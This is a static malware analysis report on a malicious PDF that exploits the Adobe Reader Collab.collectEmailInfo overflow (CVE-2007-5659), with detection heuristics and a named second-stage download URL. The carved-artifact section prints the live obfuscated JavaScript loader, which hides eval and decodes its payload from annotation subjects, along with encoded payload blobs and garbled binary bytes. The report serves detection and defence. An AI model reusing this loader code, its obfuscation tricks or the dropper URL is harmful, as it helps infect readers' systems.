Malicious PDF — malware analysis report

Static analysis result for SHA-256 649567bac885a0e4…

MALICIOUS

PDF

15.6 KB
MD5: 84e70e77a6ecec41fabb30ccf21d09f6 SHA-1: b3da2693535ba5b42e2a1522b17c140b92be79e5 SHA-256: 649567bac885a0e4c893d912a43050bae1a74729e012e458b3e3d968fd718e56
366 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript that exploits CVE-2007-5659, targeting specific versions of Adobe Reader. The script is designed to download a second-stage payload from the embedded URL http://searchfunes.org/cgi-bin/153/n002106201r0019R8b9666faX371c9fdcY02c5c7e8Z0100f060. This indicates a dropper functionality aimed at further compromising the victim's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after static deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 5 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, hex_dashed_payload, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchfunes.org/cgi-bin/153/n002106201r0019R8b9666faX371c9fdcY02c5c7e8Z0100f060 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 5 at offset 0x148 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
legacy_pdfkit_stage_000.js
0caa184df31723d4d9f12155a71fb5fabba0795f180870eaca743d49f9860353		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A39 12414 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function POmnyW1Gi__C(b_o_2p68IcDHv, F40_B0251){var X7N_24j_q = 20;var Y_yKL6fEgD_FL = 0;var BX3_ncSKj7__K_R = 512;var n_dC1x67QcW_oc = X7N_24j_q;var q6_vRrJct3_u = "";var pfTF3S1___V7 = 4;var vUxh3wBl2SLRq = this;var y_KP577J_TG_Sx = "1234ee";var o78_0E_u_eW_06I = arguments;try {var XP5HI_G_J4R8ejB = 0;if (app) {n_dC1x67QcW_oc = n_dC1x67QcW_oc + 2;F40_B0251 = pr[XP5HI_G_J4R8ejB].subject;}y_KP577J_TG_Sx = y_KP577J_TG_Sx.replace(/\d+/, "call");} catch(e) { }n_dC1x67QcW_oc = n_dC1x67QcW_oc - X7N_24j_q;var y2C2_7F6 = new Array();var uF_4ePeUfiN = 150;if (uF_4ePeUfiN > 0) {y2C2_7F6[0] = uF_4ePeUfiN;y2C2_7F6[1] = BX3_ncSKj7__K_R;y2C2_7F6[0] = y2C2_7F6[0] - uF_4ePeUfiN;y2C2_7F6[2] = y2C2_7F6[0];y2C2_7F6[1] = y2C2_7F6[1] - BX3_ncSKj7__K_R;y2C2_7F6[3] = y2C2_7F6[1];}if (b_o_2p68IcDHv) { y2C2_7F6 = b_o_2p68IcDHv;}if (!b_o_2p68IcDHv) {var N_66_AfJH = o78_0E_u_eW_06I[y_KP577J_TG_Sx].toString();var d6_5B6iWM83_8 = 0;var p2fYS0 = d6_5B6iWM83_8;uF_4ePeUfiN = uF_4ePeUfiN - 102;var G_PC_yY_q5u7Vi = 0;while(p2fYS0 < N_66_AfJH.length) {G_PC_yY_q5u7Vi = N_66_AfJH.charCodeAt(p2fYS0);if (G_PC_yY_q5u7Vi >= uF_4ePeUfiN && G_PC_yY_q5u7Vi <= 57) {if (d6_5B6iWM83_8 == pfTF3S1___V7) {d6_5B6iWM83_8 = -1;}if (d6_5B6iWM83_8 < 0) { d6_5B6iWM83_8 = 0; }y2C2_7F6[d6_5B6iWM83_8] += G_PC_yY_q5u7Vi;if (y2C2_7F6[d6_5B6iWM83_8] > BX3_ncSKj7__K_R) {y2C2_7F6[d6_5B6iWM83_8] -= BX3_ncSKj7__K_R;}d6_5B6iWM83_8 = d6_5B6iWM83_8 + 1;}p2fYS0 = p2fYS0 + 1;}}var UMX2yG6x_V2X5k1 = 0;var L17wOAxKl_q2oo = 0;var Vtxt8_IdQ7Y4H = -1;var xH0U_k0 = 0;var rHyRg0On61 = 0;do {var HmI6LIgd = 256;if (y2C2_7F6[xH0U_k0] > HmI6LIgd) {y2C2_7F6[xH0U_k0] -= HmI6LIgd;}xH0U_k0 = xH0U_k0 + 1;} while (xH0U_k0 < pfTF3S1___V7);xH0U_k0 = xH0U_k0 - pfTF3S1___V7;while(xH0U_k0 < F40_B0251.length) {var H_1P3fu5i61__6 = F40_B0251.substr(xH0U_k0, 1) + ' V V ';xH0U_k0 = xH0U_k0 + 1;var wUpOqysb_sxQQ = parseInt(H_1P3fu5i61__6, X7N_24j_q);if (Vtxt8_IdQ7Y4H != -1) {L17wOAxKl_q2oo += wUpOqysb_sxQQ;if (UMX2yG6x_V2X5k1 == pfTF3S1___V7) {UMX2yG6x_V2X5k1 = 0;}var BuN_74__6ti2 = L17wOAxKl_q2oo;BuN_74__6ti2 = BuN_74__6ti2 - (rHyRg0On61 + 2) * y2C2_7F6[UMX2yG6x_V2X5k1];if (BuN_74__6ti2 <= 0) {BuN_74__6ti2 = BuN_74__6ti2 - Math.floor(BuN_74__6ti2 / 256) * 256;}BuN_74__6ti2 = String.fromCharCode(BuN_74__6ti2);if (n_dC1x67QcW_oc == 1) {q6_vRrJct3_u += wUpOqysb_sxQQ;} else if (n_dC1x67QcW_oc == 2) {q6_vRrJct3_u += BuN_74__6ti2;} else {q6_vRrJct3_u += xH0U_k0;Vtxt8_IdQ7Y4H = -2;}Vtxt8_IdQ7Y4H = -1;UMX2yG6x_V2X5k1 = UMX2yG6x_V2X5k1 + 1;rHyRg0On61 = rHyRg0On61 + 1;} else if (Vtxt8_IdQ7Y4H == -1) {Vtxt8_IdQ7Y4H = X7N_24j_q;L17wOAxKl_q2oo = wUpOqysb_sxQQ * X7N_24j_q;}}var Sk25iL = this;Sk25iL['ev'+'al'](q6_vRrJct3_u);}
	POmnyW1Gi__C(0, "a4360e5b5f355b700d822bb1628274b55708249c1g2709046e0i670d576f0009bc808e0e7a7145aj32ac222024b9802fa72146325g64b237b26e3815708g1i606c04a860292j144c90369h644260854b2h8g3482a9b09j993ea153921609cf9ebg376jb93f883ib03461b7c29iae5bc46dc4159b0fcd8b0aa6313712805ja72h04ad6j1ec6cf1d3d79b5651e403a4i0jc2369850507i5j47127j1f6jc8917h3748b72f79414f9c8hbj6j449b56631b7816a8aa9a9ha6327f82bdb57b16284gcb9i4723a85i8cb2ca1d8a3eafce9hbgab91307c0g414e3b0e0b47c0309498783f29812c1bagcc7d278d33432i232j9c5ja94c4533a5ab217h1ab6a958bh242f6d9310cb6739338563bf4938a0a4agad985g052cbi1909c9be9b3c6f042g6g45052191biafai7h3i0a3ja50j2515c869097a4514cf373a8h1i1j8f381b6jb22b415jbj6c5427022j76852jc54a61455f512b62c54fbhaead684h1c2j7d2308cf77952b89734f3h29bc037gbf9a98ba37c246c4b20c004193cec2633h1h754d8hc9cf7g6d2d82910h3c4jcca31a183a1f4292449a584g89716139b1242f9jaa68444fb55j3j2j4aa56605405i885984007a14b2707g8i9b2g714ec49ga847226bcaa54j319e816597a54b902c1gcf0h1f14522i8ib316464500b58097158b6g670j2h8j21190e0i9i4i9e3510202f1h9e309i8c3g609b760b822da39h5609b9375h9f01ah5b1g315465bd4941ab6j79ad8553b44893bc1818c9661i50c05j3e1f16bh6bb1b69d7h4bbh6395b3bb1ic6682g7c422j233e43bb4f246c815gb5b1215b63a1a034c22a22649939a44d617d7i4h2a922i86bab96g6f32b5255j39c50c7886525aa85d610g8h25a5b68793852a9f3ca9af9b320e600g8g562b034i57b32f387g303gc8bi22cb5j148j1b2h383342c3558c30428g6f6735a01f5icc9fac766h2d5a7c40449c589g365b8g8051c87g39a8849ac1bg53ag7ac70gb0484c90bf924e
... (truncated)
legacy_pdfkit_stage_001.js
98760a2cb42873d3c5f70ca7f178b7485444bd1c4bd05fe3a1a9dc977fad13e1		 deobfuscated-js nested inline base-23 callee-key decoded JavaScript at offset 0x1A39 4858 bytes
Preview script
First 1,000 lines of the extracted script
�jr/�=FF_�e�2U5�tw&\uxay:)Mvp� fSwJ_I5I>9Y|gxAhj�>vhqqwaAO)%7Si��c�{ut#MaRLgDe�4yw}{}�z�5>rzS4�z�Ka�2� �{2��gon�qgp;=D{_n=hb�Qm|.��V��lw|I;>�j~ �:KtAv^X;Kb��;R).CA{{~C���,�?HRV7}�zNO?E|A^53A,�KBU_Cw��6I?N�;]>�taQkmhCm:�n���qA8~3TsV:wok97<KsI75)��g�#z�Dd}=T|6�BL;�2^,y ���d}t.�nLu�|hUm4��by��F�E?OJR_lbWC6Ep/D:2A>l~)+3�yZpo:hs5I�OH�?q<RAs;M,�w�GOz=Wg3�E^8�5I)_�5X�R]�<�<gSm.��w��rq|4IZMP{l8CYvAg�:Ej6kKOM|:�z�p�n&X[2=5A�)_ySUwCQyBw0X5�5R8=67,O;wy;U�UNjNwB^PyV&��lvh/o~A+ey5d�REyEq0IJs1le�s�q#'C#M2;�)k�JC�=`|B_QLA� [/%9?4\,��CE�JppXSWbw�2@/}|>FzXT�TzEOS ;LAoUBkGmURAB��tM����o{wF�:Tk8sjUVBq��:r�t ��2N)Y//�DlFHtA ^^8Ne��8X8(K+>I;u1BeJpULDE�zwP)���xDXbw;ehXk�g8F,�q�l}bn�I��ez�~zsC@Q2J�~/L^h}Pz�pn�mRl�zs��;I@8@85~ dn_V__OwvpAC#"T=)CD^zq;k�OhmXP#�nx�q#�x;4XqwMbqX��mLot���h/$F,GG,�2az}Pn�[�p[>[2"?K(G �o@HhG ^LAT_ztARD46"D4)ghbJqkj}sd&I2(PC#45{L<w>vaLJ6t��S�ww��tDlFHtA ^^8Ne��V���nuwlowD�w��Wm@t�tL[�edwQW�RMh~R4/8P�k��T@P[bn��H2�|m� GOt�qtyt 5wD`5R8nt�,Au�j�7:=2>vy�5uRMn|ijUX?DOAI�hFzco�CMq�UI_�au2~HrmOM@�d\~{)::uBx�^VXpa,R d�kRkiu�1Mz�gI4�p�wIq���d�.(%xQ?7G;5'a&HRM>��l2+{9{sdJ[�g#@5Z#I^2O~eOelZx=Dq�^U@r}����2>�VUe�z}mt�AtD`aB{8X8OxqjVuT�CY��RR:��e|��L�QljUhIy[ . O5885M�X5}�Tgvs<,a#R�hgkr`�CGw~a4C���s���tg=3/,�T{jdVI�y,V��oTld[GIs^#@AOJ�x�/1�3QOGR_�kE1<6p#[&NJ)�BKRP:��tTR<?  Z/Mpt�xW7bXz}}rN4�htg��>/x6?UbUw�_HF?QsFLM>��g� MUbq�\bTqI2UAMp_��E7SO}k�u<:x}d�C���Y�1{6KRDRz�kBIB<mAR��q��{n|FRTM>�f5.MOet�VeZqCF�hw|z� @@ 4A&{#YdenhnbN�a2I,C6. .;YpbtwhwBwIS5�_On}tea}s;t\cmxQ�yae:�d];^>kdVwb\kHedJ�6�|UG=�U.I\��B6XJ:n�nQ=B9 2=)JLzt_bmw�8�VNj?xO�k����5H895[AOVV4w�nnj_jD}e]y�Zx�jD[smc2C "99:>eCqk}}dkySzMEa~B�mdSC�g,O/Ur5X219N%Pu6i|aMF�d)+XADS��8.CPR_�ehy_�>heT:�kw��n8H>�<WgG4hrkN:Q6y8)+DGJ&{_FqtbkvhsSt_Qp�E�g[JO�p~;F2.TN7>�����nC�BNpGLnf�QRW?j/` J4e�q�gw�AhG`Oxeq���)#��XPn|ZXdpEA7C841x@#:/DOwknt|_ 5zV]y�6Q[\Ubf�H4HKs&+;Rr5I2Y:bn�_gbmGeYKd�9BmGXwxkHIZ6v�P�T6XMLk�q<=E<j/OO5JS��p;z�Kjpv6,@I)F=~BHKH:DrwwxrwD�pMn�lXgvT;�x~��zr�q/Jmm>k`.�yttDnh�d58s[ztektM:itPqz8��n�x�5:�jn}Ge_�j1��ny��9DWsI�nb�_kX]eGbq, �h �eJzqkm8LC;k�kw8knnpY�h qqJzbwm8U,hmkwMh�zm4��b�}����=6G^^kbb�zMIin>hePAA\���{�n>nmbw8zkkjD���t{�u��ArQ_\=be<D\Oj1}��CTDq;5��~q_QmOewHu_G�5)hM�z��qA�vsu>oe�[dm&@><�Hf0~9iH�_�vx/qshh>�n�m,O)�w�yu�p�1�irthNv^��BlhJu;>� �8ep}�~fOPIt��u38O/\gOIdYtxFn�|FQ5z/AbA�e�zb)A�d~;g�k[\Z]�7Vnx^=)R2C1�TEHNC�KB<N4�B?NQ1~QBNH:�W9TQFxKEnJ@�90NQ4�h}E9F��ZTQF�0Erl%�9K3Q4�<IMi+�QEpUI�9E6K.�CG<T4~G�H�4�NrFTIxLH>w:�vmIi7�QPSq@�hbN8%�Y�6<F�BOX07�4HSg%�\}:l%�6�?S(�~CAk:{9OT|.�h>D<%u?KD{4�?0B3:��We8:�ZfN;(�HKBn@�HPN3:�XPXVC�6|Zo(�lfAOI�Mt4<={qVeM(�03@?+u9N<<.� [Dn=�GNU=4�0NEu+��aF5:�JOL@@�SQXX=�3?Qu+�fdIMC��x\q@{WTY�I�>4lB.�3X}u(�HT6:@�AeT6.�;Lvu.�DWGV4�HIHDC�BT0O7�u~E<1~HiJN=�PBSsCxS25CC�65Yw1�X3J<I�Ne8<F�:533(�ALuv1�ulOe.�TJ>zF�E8:V1u9BID4~�kPH7uVBEGFx�:3B=u<4OB4�T8JwCuTVXJI�X6o9Iu<K0J7�;mPe(xQIoCI�A>9K+x<<@G7~x6NH1xV6GB%uG=>B7x{lJB7�I6P?=xiYSH%�U>90C{E�QK:�Y<NRF{YHl�(�8p9O%{J?;Q:{6=cG+{86=F(u<9?v1{z4FM=�GBfu7~5OEP(�PtA6=~H�RM=�U@Yb@~:JS�+�iA?KF~Mt5Q={2<[H%~o83N+uoHB?+�IU=T@�<Bdp1�6QxP.�?~|h7�IE}�@��EWa:�3JRR.��z{I@�H<N�CxU?jyF�r4kb.�1~Et%��[:SC�>z5q+�8O>e1�v EW1�S}EWC�C}0�4�>zMb1~EHF�:�Vq�gFxS}3F@�u8NT4�V� tF��TY]F�l�q;%�x�rh4�>��i+�N�=hI�EPq�.�Dv{k4~F�H�4�e8 8IxHK=B:�Gg�g7�NNPq@�SfOg%�WI@3F�FHX27�THQf%�[F98%�=K@O(�A{<j:{@NM�.�Z7E8%uENCA4�H6H;:�K�U>:�7QN8(�Q�>n@�HOU5:�WQPiC�6KZ=(�6P>�I�Hw9?={6OS�(�369;+u?e>{.�HT?6=�BOT84�6TE6+�HQB2:�LJK7@�KQWN=�6KQ7+�QYDJC�KEZ;@{WZWHI�993?.�8\H=(�K[9<@�?W37.�<T?E.�EWH44�KEGEC�KW3P7�<BKA1~N5HO=�PpNDCxQ13BC�<3T<1�W0KBI�NQ3E@P�g~ ^�nN�ikPnhEz&X;��zyov|qC�t��f�Fewz=[��gblf�OPh�aLG)G�w��f:eO_�_cT8MM|m� goq�t|�^XUvh�;^26�43666KDyv�)� ZC�d2L>U|wE�{nJntBw=u�����#E&J\|a�2XU�nqh_kIc_J}w>F;dubb�j�X[Rgwy N/1x�N[�RIE�W8,G�v�qDqtwd/=,_��Jqc.�pe�M}kw 5)X^nz��}e@fqV_eM>�a�&Obq��Wez\AX8ITt{[IU 0 K�O6<?<6)Dd����v�O[^^qyJ���/4�g� iM\�P6GDej5@#?V;]5bwDHP8}|;Z;m_w�wWkkS;;]PGwD<5;�m.IG2��4=7kx��[`APwGT>;��r>a#��h�Jknw|>:Dp�zK�cwJ�_QwV��~u�u�ir�5TL��[x�_A[I;��m~Deq�9b�)C27CDxo�&I�6BjGRqxq?@ZBj,U5EM){6KRDRz�kBIB<m5<2IMV8�KBObReowTI?3g77AA�qqpQ�lD7a/�wn o���+.1�6lEf.�K~<xC,J����8\tw@yLD�mmKNg&U,C=Sr~�8C�0QdVL�r}<OTNg>ODB_ �36pPOe~z?4<Hg ]>L;B>#�6<pMRt{qEFZ<pF@5>�Vw
... (truncated)
deobfuscated.js
f8a7846d41bf78ef8fdd88130cf8f4e5b30abd3581edd8b630bd77be53a2d7c5		 deobfuscated-js PDF JavaScript deobfuscation pass 76361 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app.eval(buf);
}

a4360e5b5f355b700d822bb1628274b55708249c1g2709046e0i670d576f0009bc808e0e7a7145aj32ac222024b9802fa72146325g64b237b26e3815708g1i606c04a860292j144c90369h644260854b2h8g3482a9b09j993ea153921609cf9ebg376jb93f883ib03461b7c29iae5bc46dc4159b0fcd8b0aa6313712805ja72h04ad6j1ec6cf1d3d79b5651e403a4i0jc2369850507i5j47127j1f6jc8917h3748b72f79414f9c8hbj6j449b56631b7816a8aa9a9ha6327f82bdb57b16284gcb9i4723a85i8cb2ca1d8a3eafce9hbgab91307c0g414e3b0e0b47c0309498783f29812c1bagcc7d278d33432i232j9c5ja94c4533a5ab217h1ab6a958bh242f6d9310cb6739338563bf4938a0a4agad985g052cbi1909c9be9b3c6f042g6g45052191biafai7h3i0a3ja50j2515c869097a4514cf373a8h1i1j8f381b6jb22b415jbj6c5427022j76852jc54a61455f512b62c54fbhaead684h1c2j7d2308cf77952b89734f3h29bc037gbf9a98ba37c246c4b20c004193cec2633h1h754d8hc9cf7g6d2d82910h3c4jcca31a183a1f4292449a584g89716139b1242f9jaa68444fb55j3j2j4aa56605405i885984007a14b2707g8i9b2g714ec49ga847226bcaa54j319e816597a54b902c1gcf0h1f14522i8ib316464500b58097158b6g670j2h8j21190e0i9i4i9e3510202f1h9e309i8c3g609b760b822da39h5609b9375h9f01ah5b1g315465bd4941ab6j79ad8553b44893bc1818c9661i50c05j3e1f16bh6bb1b69d7h4bbh6395b3bb1ic6682g7c422j233e43bb4f246c815gb5b1215b63a1a034c22a22649939a44d617d7i4h2a922i86bab96g6f32b5255j39c50c7886525aa85d610g8h25a5b68793852a9f3ca9af9b320e600g8g562b034i57b32f387g303gc8bi22cb5j148j1b2h383342c3558c30428g6f6735a01f5icc9fac766h2d5a7c40449c589g365b8g8051c87g39a8849ac1bg53ag7ac70gb0484c90bf924e158f5f5i7c120e9e5f06aa040f02853284b327190acb9c3d8fc77790671745b40b3i0f057717a3324g624f1hc9619i495h668h791j6i3hbca973ag1d518h9945045b1f3e4871af493j6f839ga78b51c04bb21b11a0a0660b5g9j2440001c1e5e8c1078a653073aa70j2j20b971c36g1g0ecf3131a93e19696b4695ac254b2ea464290ibj143a72519h476747756a0i6h027ibabf83996b1961a12gc50c7886525aa85d610g8h25a5b69ec7bf6d016h1h110e34cd90cec1652d1d4e78b329ce847826a0b7092486be703a3j291d1b8645bh4e838i5936208c1f5ibdc8773g8h2f4d810226a17ebh6077887d8c058i1j92707g8i0b59b64e0a12bd3f5a5485943e1305839b7c0g2i8e5f1cb6bi050b5ic16hb32d5h3b0hc462ad3j63716748368ic751031b60566c36453h3230cd54b57e7633626d2f4h53be8a63b51e454j7701b39j4h43728ccf8h057j95ai98842ccd59c21i0612bj9f4h77cd2a2f0514ba5d7iag6j712hc8269ib9c0ai34952h6e154b116366a627c59261137979c61f43b264422i24325d9b3e0c48426c8567c7672g84b4b8b08j3ba1677ccb2ccf9ead4i7fae4770159c216ha9879385430b6dc702c01f4561b7b16628bc4888c51h3dad72c7c19f1d305gcd6j442705170j96318c294b607h470ja0314fabbe944346ce185e4a3gb275b3568c605e84397j137jb3acc40g64b1872f0b7j161d4gc2a46i31ad6e6cb9c01390751g09aj151070116b243b191hbfa750be3a985h3c4b1i930b28ae0c9a4a690a222f4e1ha52bae583g7b6a7713582abca27ab1ba2e5f9601ag5b3a5a7ba41f660b8h7h9ga7aa559g2ibf13230fcf9i1g500f2i3f27b8be80b60e797i3ibf5e9gb3c0ai349i2cag0h2b265164bb32196j6b2i6i8ib43b5j00a56c0704364ea548c36i3h43777f1j9f0f8eaeb6899b3a1d2c711512ac9eb04g5b80484d3084cca5b7aibic7610171ahb1adcb148h0h7i2923066578b3122d83630i8gc9193d79259807131e0g1g8f29071b6170635631981f49bdag684g46b724410214946ab158778671840i8i218c70b0aba653a27h2005ae41227j9gaj643f9h8b8e9ab31hba550496b6a8ca791g8b1a394c2222b550c30d8j92521j25bi0h16a5bcad5f660f373c2650c65eah4i4i3j9265053f33969f7a09104h829912cb743b545494b0852had9dahag77398h307jbgb1ah9i7j1683c6555g3502195iajc087a06fc15jcaca0bc12a85286e260c01363h8a1icf626b46a1ac1d4i65ae974007205341af4aai5741766d43c15dcd7g76966g593iah1i762h0b099g98395fb05j3h0394bi6j8fc0b4852g9753b60bce2930890ab93237c85b4jbg2038a0742f8296ag434ebj83200e38464295369e277a523c28ce7fbh2f05ae756a791c4b743544a57ea74e73925c8e297d2288ah90bj99396j4gc9ac7d1h5e93bfcf71359396658ebe278d5f0dc9agb5bd5i2d58cb0i321522cd6gb72g899845362f9ibe4b07179b5b9202106a5b419h5e1b615h5g8a71bc462j896e4c1baf1c5a5i1ea58e4h587b980d80099i7f8aa3bf2e9j4b9cba180e
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.